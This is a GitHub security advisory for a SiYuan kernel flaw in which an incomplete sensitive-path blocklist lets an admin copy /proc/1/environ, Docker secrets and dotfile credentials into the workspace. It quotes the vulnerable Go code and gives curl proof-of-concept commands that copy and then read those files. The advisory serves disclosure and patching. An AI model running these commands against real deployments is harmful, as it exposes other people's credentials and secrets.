GHSA-h5vh-m7fg-w5h6
SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/siyuan-note/siyuan/kernel | <= 0.0.0-20260313024916-fd6526133bb3 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.
### Details
File: kernel/api/file.go - function globalCopyFiles
```go
for i, src := range srcs {
absSrc, _ := filepath.Abs(src)
if util.IsSensitivePath(absSrc) {
return
}
srcs[i] = absSrc
}
destDir := filepath.Join(util.WorkspaceDir, destDir)
for _, src := range srcs {
dest := filepath.Join(destDir, filepath.Base(src))
filelock.Copy(src, dest) // copies unchecked sensitive file into workspace
}
```
IsSensitivePath blocklist (kernel/util/path.go):
```go
prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}
```
**Not blocked - exploitable targets:**
| Path | Contains |
|------|----------|
| /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY |
| /run/secrets/* | Docker Swarm / Compose injected secrets |
| /home/siyuan/.aws/credentials | AWS credentials (non-root user) |
| /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) |
| /tmp/ | Temporary files including tokens |
### PoC
**Environment:**
```bash
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
```
**Exploit:**
```bash
TOKEN="YOUR_ADMIN_TOKEN"
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'
curl -s -X POST http://localhost:6806/api/file/getFile \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"path":"/data/assets/environ"}' | tr '\0' '\n'
```
**Docker secrets:**
```bash
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}'
```
### Impact
An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6
- https://nvd.nist.gov/vuln/detail/CVE-2026-32747
- https://github.com/siyuan-note/siyuan/commit/9914fd1d39e5f0a8dcc9fb587e1c0b46f31490a1
- https://github.com/siyuan-note/siyuan
- https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1